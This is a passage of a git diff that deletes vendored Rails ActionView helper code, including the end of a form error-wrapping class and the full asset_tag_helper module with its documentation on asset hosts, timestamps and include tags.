-    class InstanceTag #:nodoc:
-      def to_tag(options = {})
-        case column_type
-          when :string
-            field_type = @method_name.include?("password") ? "password" : "text"
-            to_input_field_tag(field_type, options)
-          when :text
-            to_text_area_tag(options)
-          when :integer, :float, :decimal
-            to_input_field_tag("text", options)
-          when :date
-            to_date_select_tag(options)
-          when :datetime, :timestamp
-            to_datetime_select_tag(options)
-          when :time
-            to_time_select_tag(options)
-          when :boolean
-            to_boolean_select_tag(options)
-        end
-      end
-
-      alias_method :tag_without_error_wrapping, :tag
-      def tag(name, options)
-        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
-          error_wrapping(tag_without_error_wrapping(name, options), object.errors.on(@method_name))
-        else
-          tag_without_error_wrapping(name, options)
-        end
-      end
-
-      alias_method :content_tag_without_error_wrapping, :content_tag
-      def content_tag(name, value, options)
-        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
-          error_wrapping(content_tag_without_error_wrapping(name, value, options), object.errors.on(@method_name))
-        else
-          content_tag_without_error_wrapping(name, value, options)
-        end
-      end
-
-      alias_method :to_date_select_tag_without_error_wrapping, :to_date_select_tag
-      def to_date_select_tag(options = {}, html_options = {})
-        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
-          error_wrapping(to_date_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
-        else
-          to_date_select_tag_without_error_wrapping(options, html_options)
-        end
-      end
-
-      alias_method :to_datetime_select_tag_without_error_wrapping, :to_datetime_select_tag
-      def to_datetime_select_tag(options = {}, html_options = {})
-        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
-            error_wrapping(to_datetime_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
-          else
-            to_datetime_select_tag_without_error_wrapping(options, html_options)
-        end
-      end
-
-      alias_method :to_time_select_tag_without_error_wrapping, :to_time_select_tag
-      def to_time_select_tag(options = {}, html_options = {})
-        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
-          error_wrapping(to_time_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
-        else
-          to_time_select_tag_without_error_wrapping(options, html_options)
-        end
-      end
-
-      def error_wrapping(html_tag, has_error)
-        has_error ? Base.field_error_proc.call(html_tag, self) : html_tag
-      end
-
-      def error_message
-        object.errors.on(@method_name)
-      end
-
-      def column_type
-        object.send(:column_for_attribute, @method_name).type
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb
deleted file mode 100644
index 1a8af3d3..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ /dev/null
@@ -1,695 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/url_helper'
-require 'action_view/helpers/tag_helper'
-require 'thread'
-
-module ActionView
-  module Helpers #:nodoc:
-    # This module provides methods for generating HTML that links views to assets such
-    # as images, javascripts, stylesheets, and feeds. These methods do not verify
-    # the assets exist before linking to them:
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails src="/images/rails.png?1230601161" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
-    #
-    # === Using asset hosts
-    #
-    # By default, Rails links to these assets on the current host in the public
-    # folder, but you can direct Rails to link to assets from a dedicated asset
-    # server by setting ActionController::Base.asset_host in the application
-    # configuration, typically in <tt>config/environments/production.rb</tt>.
-    # For example, you'd define <tt>assets.example.com</tt> to be your asset
-    # host this way:
-    #
-    #   ActionController::Base.asset_host = "assets.example.com"
-    #
-    # Helpers take that into account:
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/images/rails.png?1230601161" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
-    #
-    # Browsers typically open at most two simultaneous connections to a single
-    # host, which means your assets often have to wait for other assets to finish
-    # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
-    # +asset_host+. For example, "assets%d.example.com". If that wildcard is
-    # present Rails distributes asset requests among the corresponding four hosts
-    # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
-    # will open eight simultaneous connections rather than two.
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
-    #
-    # To do this, you can either setup four actual hosts, or you can use wildcard
-    # DNS to CNAME the wildcard to a single asset host. You can read more about
-    # setting up your DNS CNAME records from your ISP.
-    #
-    # Note: This is purely a browser performance optimization and is not meant
-    # for server load balancing. See http://www.die.net/musings/page_load_time/
-    # for background.
-    #
-    # Alternatively, you can exert more control over the asset host by setting
-    # +asset_host+ to a proc like this:
-    #
-    #   ActionController::Base.asset_host = Proc.new { |source|
-    #     "http://assets#{rand(2) + 1}.example.com"
-    #   }
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets1.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
-    #
-    # The example above generates "http://assets1.example.com" and
-    # "http://assets2.example.com" randomly. This option is useful for example if
-    # you need fewer/more than four hosts, custom host names, etc.
-    #
-    # As you see the proc takes a +source+ parameter. That's a string with the
-    # absolute path of the asset with any extensions and timestamps in place,
-    # for example "/images/rails.png?1230601161".
-    #
-    #    ActionController::Base.asset_host = Proc.new { |source|
-    #      if source.starts_with?('/images')
-    #        "http://images.example.com"
-    #      else
-    #        "http://assets.example.com"
-    #      end
-    #    }
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://images.example.com/images/rails.png?1230601161" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
-    #
-    # Alternatively you may ask for a second parameter +request+. That one is
-    # particularly useful for serving assets from an SSL-protected page. The
-    # example proc below disables asset hosting for HTTPS connections, while
-    # still sending assets for plain HTTP requests from asset hosts. If you don't
-    # have SSL certificates for each of the asset hosts this technique allows you
-    # to avoid warnings in the client about mixed media.
-    #
-    #   ActionController::Base.asset_host = Proc.new { |source, request|
-    #     if request.ssl?
-    #       "#{request.protocol}#{request.host_with_port}"
-    #     else
-    #       "#{request.protocol}assets.example.com"
-    #     end
-    #   }
-    #
-    # You can also implement a custom asset host object that responds to +call+
-    # and takes either one or two parameters just like the proc.
-    #
-    #   config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
-    #     "http://asset%d.example.com", "https://asset1.example.com"
-    #   )
-    #
-    # === Using asset timestamps
-    #
-    # By default, Rails appends asset's timestamps to all asset paths. This allows
-    # you to set a cache-expiration date for the asset far into the future, but
-    # still be able to instantly invalidate it by simply updating the file (and
-    # hence updating the timestamp, which then updates the URL as the timestamp
-    # is part of that, which in turn busts the cache).
-    #
-    # It's the responsibility of the web server you use to set the far-future
-    # expiration date on cache assets that you need to take advantage of this
-    # feature. Here's an example for Apache:
-    #
-    #   # Asset Expiration
-    #   ExpiresActive On
-    #   <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
-    #     ExpiresDefault "access plus 1 year"
-    #   </FilesMatch>
-    #
-    # Also note that in order for this to work, all your application servers must
-    # return the same timestamps. This means that they must have their clocks
-    # synchronized. If one of them drifts out of sync, you'll see different
-    # timestamps at random and the cache won't work. In that case the browser
-    # will request the same assets over and over again even thought they didn't
-    # change. You can use something like Live HTTP Headers for Firefox to verify
-    # that the cache is indeed working.
-    module AssetTagHelper
-      ASSETS_DIR      = defined?(Rails.public_path) ? Rails.public_path : "public"
-      JAVASCRIPTS_DIR = "#{ASSETS_DIR}/javascripts"
-      STYLESHEETS_DIR = "#{ASSETS_DIR}/stylesheets"
-      JAVASCRIPT_DEFAULT_SOURCES = ['prototype', 'effects', 'dragdrop', 'controls'].freeze unless const_defined?(:JAVASCRIPT_DEFAULT_SOURCES)
-
-      # Returns a link tag that browsers and news readers can use to auto-detect
-      # an RSS or ATOM feed. The +type+ can either be <tt>:rss</tt> (default) or
-      # <tt>:atom</tt>. Control the link options in url_for format using the
-      # +url_options+. You can modify the LINK tag itself in +tag_options+.
-      #
-      # ==== Options
-      # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
-      # * <tt>:type</tt>  - Override the auto-generated mime type
-      # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
-      #
-      # ==== Examples
-      #  auto_discovery_link_tag # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
-      #  auto_discovery_link_tag(:atom) # =>
-      #     <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
-      #  auto_discovery_link_tag(:rss, {:action => "feed"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
-      #  auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
-      #  auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
-      #  auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
-      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
-        tag(
-          "link",
-          "rel"   => tag_options[:rel] || "alternate",
-          "type"  => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
-          "title" => tag_options[:title] || type.to_s.upcase,
-          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
-        )
-      end
-
-      # Computes the path to a javascript asset in the public javascripts directory.
-      # If the +source+ filename has no extension, .js will be appended.
-      # Full paths from the document root will be passed through.
-      # Used internally by javascript_include_tag to build the script path.
-      #
-      # ==== Examples
-      #   javascript_path "xmlhr" # => /javascripts/xmlhr.js
-      #   javascript_path "dir/xmlhr.js" # => /javascripts/dir/xmlhr.js
-      #   javascript_path "/dir/xmlhr" # => /dir/xmlhr.js
-      #   javascript_path "http://www.railsapplication.com/js/xmlhr" # => http://www.railsapplication.com/js/xmlhr.js
-      #   javascript_path "http://www.railsapplication.com/js/xmlhr.js" # => http://www.railsapplication.com/js/xmlhr.js
-      def javascript_path(source)
-        compute_public_path(source, 'javascripts', 'js')
-      end
-      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
-
-      # Returns an html script tag for each of the +sources+ provided. You
-      # can pass in the filename (.js extension is optional) of javascript files
-      # that exist in your public/javascripts directory for inclusion into the
-      # current page or you can pass the full path relative to your document
-      # root. To include the Prototype and Scriptaculous javascript libraries in
-      # your application, pass <tt>:defaults</tt> as the source. When using
-      # <tt>:defaults</tt>, if an application.js file exists in your public
-      # javascripts directory, it will be included as well. You can modify the
-      # html attributes of the script tag by passing a hash as the last argument.
-      #
-      # ==== Examples
-      #   javascript_include_tag "xmlhr" # =>
-      #     <script type="text/javascript" src="/javascripts/xmlhr.js"></script>
-      #
-      #   javascript_include_tag "xmlhr.js" # =>
-      #     <script type="text/javascript" src="/javascripts/xmlhr.js"></script>
-      #
-      #   javascript_include_tag "common.javascript", "/elsewhere/cools" # =>
-      #     <script type="text/javascript" src="/javascripts/common.javascript"></script>
-      #     <script type="text/javascript" src="/elsewhere/cools.js"></script>
-      #
-      #   javascript_include_tag "http://www.railsapplication.com/xmlhr" # =>
-      #     <script type="text/javascript" src="http://www.railsapplication.com/xmlhr.js"></script>
-      #
-      #   javascript_include_tag "http://www.railsapplication.com/xmlhr.js" # =>
-      #     <script type="text/javascript" src="http://www.railsapplication.com/xmlhr.js"></script>
-      #
-      #   javascript_include_tag :defaults # =>
-      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
-      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
-      #     ...
-      #     <script type="text/javascript" src="/javascripts/application.js"></script>
-      #
-      # * = The application.js file is only referenced if it exists
-      #
-      # Though it's not really recommended practice, if you need to extend the default JavaScript set for any reason
-      # (e.g., you're going to be using a certain .js file in every action), then take a look at the register_javascript_include_default method.
-      #
-      # You can also include all javascripts in the javascripts directory using <tt>:all</tt> as the source:
-      #
-      #   javascript_include_tag :all # =>
-      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
-      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
-      #     ...
-      #     <script type="text/javascript" src="/javascripts/application.js"></script>
-      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
-      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
-      #
-      # Note that the default javascript files will be included first. So Prototype and Scriptaculous are available to
-      # all subsequently included files.
-      #
-      # If you want Rails to search in all the subdirectories under javascripts, you should explicitly set <tt>:recursive</tt>:
-      #
-      #   javascript_include_tag :all, :recursive => true
-      #
-      # == Caching multiple javascripts into one
-      #
-      # You can also cache multiple javascripts into one file, which requires less HTTP connections to download and can better be
-      # compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching
-      # is set to <tt>true</tt> (which is the case by default for the Rails production environment, but not for the development
-      # environment).
-      #
-      # ==== Examples
-      #   javascript_include_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
-      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
-      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
-      #     ...
-      #     <script type="text/javascript" src="/javascripts/application.js"></script>
-      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
-      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
-      #
-      #   javascript_include_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
-      #     <script type="text/javascript" src="/javascripts/all.js"></script>
-      #
-      #   javascript_include_tag "prototype", "cart", "checkout", :cache => "shop" # when ActionController::Base.perform_caching is false =>
-      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
-      #     <script type="text/javascript" src="/javascripts/cart.js"></script>
-      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
-      #
-      #   javascript_include_tag "prototype", "cart", "checkout", :cache => "shop" # when ActionController::Base.perform_caching is true =>
-      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
-      #
-      # The <tt>:recursive</tt> option is also available for caching:
-      #
-      #   javascript_include_tag :all, :cache => true, :recursive => true
-      def javascript_include_tag(*sources)
-        options = sources.extract_options!.stringify_keys
-        concat  = options.delete("concat")
-        cache   = concat || options.delete("cache")
-        recursive = options.delete("recursive")
-
-        if concat || (ActionController::Base.perform_caching && cache)
-          joined_javascript_name = (cache == true ? "all" : cache) + ".js"
-          joined_javascript_path = File.join(joined_javascript_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : JAVASCRIPTS_DIR, joined_javascript_name)
-
-          unless ActionController::Base.perform_caching && File.exists?(joined_javascript_path)
-            write_asset_file_contents(joined_javascript_path, compute_javascript_paths(sources, recursive))
-          end
-          javascript_src_tag(joined_javascript_name, options)
-        else
-          expand_javascript_sources(sources, recursive).collect { |source| javascript_src_tag(source, options) }.join("\n").html_safe
-        end
-      end
-
-      @@javascript_expansions = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
-
-      # Register one or more javascript files to be included when <tt>symbol</tt>
-      # is passed to <tt>javascript_include_tag</tt>. This method is typically intended
-      # to be called from plugin initialization to register javascript files
-      # that the plugin installed in <tt>public/javascripts</tt>.
-      #
-      #   ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
-      #
-      #   javascript_include_tag :monkey # =>
-      #     <script type="text/javascript" src="/javascripts/head.js"></script>
-      #     <script type="text/javascript" src="/javascripts/body.js"></script>
-      #     <script type="text/javascript" src="/javascripts/tail.js"></script>
-      def self.register_javascript_expansion(expansions)
-        @@javascript_expansions.merge!(expansions)
-      end
-
-      @@stylesheet_expansions = {}
-
-      # Register one or more stylesheet files to be included when <tt>symbol</tt>
-      # is passed to <tt>stylesheet_link_tag</tt>. This method is typically intended
-      # to be called from plugin initialization to register stylesheet files
-      # that the plugin installed in <tt>public/stylesheets</tt>.
-      #
-      #   ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
-      #
-      #   stylesheet_link_tag :monkey # =>
-      #     <link href="/stylesheets/head.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/body.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/tail.css"  media="screen" rel="stylesheet" type="text/css" />
-      def self.register_stylesheet_expansion(expansions)
-        @@stylesheet_expansions.merge!(expansions)
-      end
-
-      # Register one or more additional JavaScript files to be included when
-      # <tt>javascript_include_tag :defaults</tt> is called. This method is
-      # typically intended to be called from plugin initialization to register additional
-      # .js files that the plugin installed in <tt>public/javascripts</tt>.
-      def self.register_javascript_include_default(*sources)
-        @@javascript_expansions[:defaults].concat(sources)
-      end
-
-      def self.reset_javascript_include_default #:nodoc:
-        @@javascript_expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
-      end
-
-      # Computes the path to a stylesheet asset in the public stylesheets directory.
-      # If the +source+ filename has no extension, <tt>.css</tt> will be appended.
-      # Full paths from the document root will be passed through.
-      # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
-      #
-      # ==== Examples
-      #   stylesheet_path "style" # => /stylesheets/style.css
-      #   stylesheet_path "dir/style.css" # => /stylesheets/dir/style.css
-      #   stylesheet_path "/dir/style.css" # => /dir/style.css
-      #   stylesheet_path "http://www.railsapplication.com/css/style" # => http://www.railsapplication.com/css/style.css
-      #   stylesheet_path "http://www.railsapplication.com/css/style.js" # => http://www.railsapplication.com/css/style.css
-      def stylesheet_path(source)
-        compute_public_path(source, 'stylesheets', 'css')
-      end
-      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
-
-      # Returns a stylesheet link tag for the sources specified as arguments. If
-      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
-      # You can modify the link attributes by passing a hash as the last argument.
-      #
-      # ==== Examples
-      #   stylesheet_link_tag "style" # =>
-      #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "style.css" # =>
-      #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "http://www.railsapplication.com/style.css" # =>
-      #     <link href="http://www.railsapplication.com/style.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "style", :media => "all" # =>
-      #     <link href="/stylesheets/style.css" media="all" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "style", :media => "print" # =>
-      #     <link href="/stylesheets/style.css" media="print" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "random.styles", "/css/stylish" # =>
-      #     <link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/css/stylish.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      # You can also include all styles in the stylesheets directory using <tt>:all</tt> as the source:
-      #
-      #   stylesheet_link_tag :all # =>
-      #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      # If you want Rails to search in all the subdirectories under stylesheets, you should explicitly set <tt>:recursive</tt>:
-      #
-      #   stylesheet_link_tag :all, :recursive => true
-      #
-      # == Caching multiple stylesheets into one
-      #
-      # You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be
-      # compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching
-      # is set to true (which is the case by default for the Rails production environment, but not for the development
-      # environment). Examples:
-      #
-      # ==== Examples
-      #   stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
-      #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
-      #     <link href="/stylesheets/all.css"  media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when ActionController::Base.perform_caching is false =>
-      #     <link href="/stylesheets/shop.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/cart.css"  media="screen" rel="stylesheet" type="text/css" />
-      #     <link href="/stylesheets/checkout.css" media="screen" rel="stylesheet" type="text/css" />
-      #
-      #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when ActionController::Base.perform_caching is true =>
-      #     <link href="/stylesheets/payment.css"  media="screen" rel="stylesheet" type="text/css" />
-      #
-      # The <tt>:recursive</tt> option is also available for caching:
-      #
-      #   stylesheet_link_tag :all, :cache => true, :recursive => true
-      #
-      # To force concatenation (even in development mode) set <tt>:concat</tt> to true. This is useful if
-      # you have too many stylesheets for IE to load.
-      #
-      #   stylesheet_link_tag :all, :concat => true
-      #
-      def stylesheet_link_tag(*sources)
-        options = sources.extract_options!.stringify_keys
-        concat  = options.delete("concat")
-        cache   = concat || options.delete("cache")
-        recursive = options.delete("recursive")
-
-        if concat || (ActionController::Base.perform_caching && cache)
-          joined_stylesheet_name = (cache == true ? "all" : cache) + ".css"
-          joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)
-
-          unless ActionController::Base.perform_caching && File.exists?(joined_stylesheet_path)
-            write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))
-          end
-          stylesheet_tag(joined_stylesheet_name, options)
-        else
-          expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join("\n").html_safe
-        end
-      end
-
-      # Computes the path to an image asset in the public images directory.
-      # Full paths from the document root will be passed through.
-      # Used internally by +image_tag+ to build the image path.
-      #
-      # ==== Examples
-      #   image_path("edit")                                         # => /images/edit
-      #   image_path("edit.png")                                     # => /images/edit.png
-      #   image_path("icons/edit.png")                               # => /images/icons/edit.png
-      #   image_path("/icons/edit.png")                              # => /icons/edit.png
-      #   image_path("http://www.railsapplication.com/img/edit.png") # => http://www.railsapplication.com/img/edit.png
-      def image_path(source)
-        compute_public_path(source, 'images')
-      end
-      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
-
-      # Returns an html image tag for the +source+. The +source+ can be a full
-      # path or a file that exists in your public images directory.
-      #
-      # ==== Options
-      # You can add HTML attributes using the +options+. The +options+ supports
-      # three additional keys for convenience and conformance:
-      #
-      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
-      #   +source+ is used (capitalized and without the extension)
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
-      #   width="30" and height="45". <tt>:size</tt> will be ignored if the
-      #   value is not in the correct format.
-      # * <tt>:mouseover</tt> - Set an alternate image to be used when the onmouseover
-      #   event is fired, and sets the original image to be replaced onmouseout.
-      #   This can be used to implement an easy image toggle that fires on onmouseover.
-      #
-      # ==== Examples
-      #  image_tag("icon")  # =>
-      #    <img src="/images/icon" alt="Icon" />
-      #  image_tag("icon.png")  # =>
-      #    <img src="/images/icon.png" alt="Icon" />
-      #  image_tag("icon.png", :size => "16x10", :alt => "Edit Entry")  # =>
-      #    <img src="/images/icon.png" width="16" height="10" alt="Edit Entry" />
-      #  image_tag("/icons/icon.gif", :size => "16x16")  # =>
-      #    <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
-      #  image_tag("/icons/icon.gif", :height => '32', :width => '32') # =>
-      #    <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
-      #  image_tag("/icons/icon.gif", :class => "menu_icon") # =>
-      #    <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
-      #  image_tag("mouse.png", :mouseover => "/images/mouse_over.png") # =>
-      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
-      #  image_tag("mouse.png", :mouseover => image_path("mouse_over.png")) # =>
-      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
-      def image_tag(source, options = {})
-        options.symbolize_keys!
-
-        options[:src] = path_to_image(source)
-        options[:alt] ||= File.basename(options[:src], '.*').split('.').first.to_s.capitalize
-
-        if size = options.delete(:size)
-          options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
-        end
-
-        if mouseover = options.delete(:mouseover)
-          options[:onmouseover] = "this.src='#{image_path(mouseover)}'"
-          options[:onmouseout]  = "this.src='#{image_path(options[:src])}'"
-        end
-
-        tag("img", options)
-      end
-
-      def self.cache_asset_timestamps
-        @@cache_asset_timestamps
-      end
-
-      # You can enable or disable the asset tag timestamps cache.
-      # With the cache enabled, the asset tag helper methods will make fewer
-      # expense file system calls. However this prevents you from modifying
-      # any asset files while the server is running.
-      #
-      #   ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
-      def self.cache_asset_timestamps=(value)
-        @@cache_asset_timestamps = value
-      end
-
-      @@cache_asset_timestamps = true
-
-      private
-        # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
-        # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
-        # roots. Rewrite the asset path for cache-busting asset ids. Include
-        # asset host, if configured, with the correct request protocol.
-        def compute_public_path(source, dir, ext = nil, include_host = true)
-          has_request = @controller.respond_to?(:request)
-
-          source_ext = File.extname(source)[1..-1]
-          if ext && (source_ext.blank? || (ext != source_ext && File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}"))))
-            source += ".#{ext}"
-          end
-
-          unless source =~ %r{^[-a-z]+://}
-            source = "/#{dir}/#{source}" unless source[0] == ?/
-
-            source = rewrite_asset_path(source)
-
-            if has_request && include_host
-              unless source =~ %r{^#{ActionController::Base.relative_url_root}/}
-                source = "#{ActionController::Base.relative_url_root}#{source}"
-              end
-            end
-          end
-
-          if include_host && source !~ %r{^[-a-z]+://}
-            host = compute_asset_host(source)
-
-            if has_request && !host.blank? && host !~ %r{^[-a-z]+://}
-              host = "#{@controller.request.protocol}#{host}"
-            end
-
-            "#{host}#{source}"
-          else
-            source
-          end
-        end
-
-        # Pick an asset host for this source. Returns +nil+ if no host is set,
-        # the host if no wildcard is set, the host interpolated with the
-        # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
-        # or the value returned from invoking the proc if it's a proc or the value from
-        # invoking call if it's an object responding to call.
-        def compute_asset_host(source)
-          if host = ActionController::Base.asset_host
-            if host.is_a?(Proc) || host.respond_to?(:call)
-              case host.is_a?(Proc) ? host.arity : host.method(:call).arity
-              when 2
-                request = @controller.respond_to?(:request) && @controller.request
-                host.call(source, request)
-              else
-                host.call(source)
-              end
-            else
-              (host =~ /%d/) ? host % (source.hash % 4) : host
-            end
-          end
-        end
-
-        @@asset_timestamps_cache = {}
-        @@asset_timestamps_cache_guard = Mutex.new
-
-        # Use the RAILS_ASSET_ID environment variable or the source's
-        # modification time as its cache-busting asset id.
-        def rails_asset_id(source)
-          if asset_id = ENV["RAILS_ASSET_ID"]
-            asset_id
-          else
-            if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])
-              asset_id
-            else
-              path = File.join(ASSETS_DIR, source)
-              asset_id = File.exist?(path) ? File.mtime(path).to_i.to_s : ''
-
-              if @@cache_asset_timestamps
-                @@asset_timestamps_cache_guard.synchronize do
-                  @@asset_timestamps_cache[source] = asset_id
-                end
-              end
-
-              asset_id
-            end
-          end
-        end
-
-        # Break out the asset path rewrite in case plugins wish to put the asset id
-        # someplace other than the query string.
-        def rewrite_asset_path(source)
-          asset_id = rails_asset_id(source)
-          if asset_id.blank?
-            source
-          else
-            source + "?#{asset_id}"
-          end
-        end
-
-        def javascript_src_tag(source, options)
-          content_tag("script", "", { "type" => Mime::JS, "src" => path_to_javascript(source) }.merge(options))
-        end
-
-        def stylesheet_tag(source, options)
-          tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => html_escape(path_to_stylesheet(source)) }.merge(options), false, false)
-        end
-
-        def compute_javascript_paths(*args)
-          expand_javascript_sources(*args).collect { |source| compute_public_path(source, 'javascripts', 'js', false) }
-        end
-
-        def compute_stylesheet_paths(*args)
-          expand_stylesheet_sources(*args).collect { |source| compute_public_path(source, 'stylesheets', 'css', false) }
-        end
-
-        def expand_javascript_sources(sources, recursive = false)
-          if sources.include?(:all)
-            all_javascript_files = collect_asset_files(JAVASCRIPTS_DIR, ('**' if recursive), '*.js')
-            ((determine_source(:defaults, @@javascript_expansions).dup & all_javascript_files) + all_javascript_files).uniq
-          else
-            expanded_sources = sources.collect do |source|
-              determine_source(source, @@javascript_expansions)
-            end.flatten
-            expanded_sources << "application" if sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, "application.js"))
-            expanded_sources
-          end
-        end
-
-        def expand_stylesheet_sources(sources, recursive)
-          if sources.first == :all
